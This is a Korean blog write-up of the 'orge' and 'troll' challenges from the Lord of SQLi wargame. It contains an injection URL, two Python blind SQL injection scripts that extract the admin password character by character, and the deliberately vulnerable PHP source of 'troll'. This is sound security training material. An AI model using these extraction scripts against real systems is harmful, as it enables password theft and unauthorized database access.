lordofsql: orge,troll

보안공부/워게임

lordofsql: orge,troll

mint* 2021. 7. 30. 16:43

728x90

길이를 알아내자

https://los.rubiya.kr/chall/orge_bad2f25db233a7542be75844e314e9f3.php?pw='||length(pw)='8

글자 부분은 문자열로 처리하는 것을 잊지 말자

8글자이다.

서연님 코드 💖

import string from requests import get cookies = dict(PHPSESSID="p24meiam9jk50qesefn9judace")

url = "https://los.rubiya.kr/chall/orge_bad2f25db233a7542be75844e314e9f3.php"

abc = string.digits + string.ascii_letters

result = 'result : ' length = 8 for i in range(1, length + 1):

for ch in abc: param = "?pw='||ascii(substr(pw," + str(i) + ",1))=" + str(ord(ch)) + "%23"

new_url = url + param req = get(new_url, cookies=cookies)

if req.text.find("<h2>Hello admin</h2>") > 0: result += ch

print(result)

break

지연님 코드 💖

import requests

password=''

for i in range(8):

for j in range(48,122):

URL='https://los.rubiya.kr/chall/orge_bad2f25db233a7542be75844e314e9f3.php'

query={'pw':"' || id='admin' && substr(pw,"+str(i+1)+",1)=\""+chr(j)+"\"#"}

headers={'Content-Type':'application/json:charset=utf-8'}

cookies = {'PHPSESSID':'ae5ouk0j97f604dq5vvejgao5h'} //쿠키 적어주기

res = requests.get(URL,params=query,headers=headers,cookies=cookies)

if "Hello admin" in res.text:

print("[=]Found:"+chr(j))

password=password+chr(j)

break

print(password)

근데 대문자가 아닌 소문자로 적어줘야한다.

신기하다

troll

코드

<?php
  include "./config.php";
  login_chk();
  $db = dbconnect();
  if(preg_match('/\'/i', $_GET[id])) exit("No Hack ~_~");
  if(preg_match("/admin/", $_GET[id])) exit("HeHe");
  $query = "select id from prob_troll where id='{$_GET[id]}'";
  echo "<hr>query : <strong>{$query}</strong><hr><br>";
  $result = @mysqli_fetch_array(mysqli_query($db,$query));
  if($result['id'] == 'admin') solve("troll");
  highlight_file(__FILE__);
?>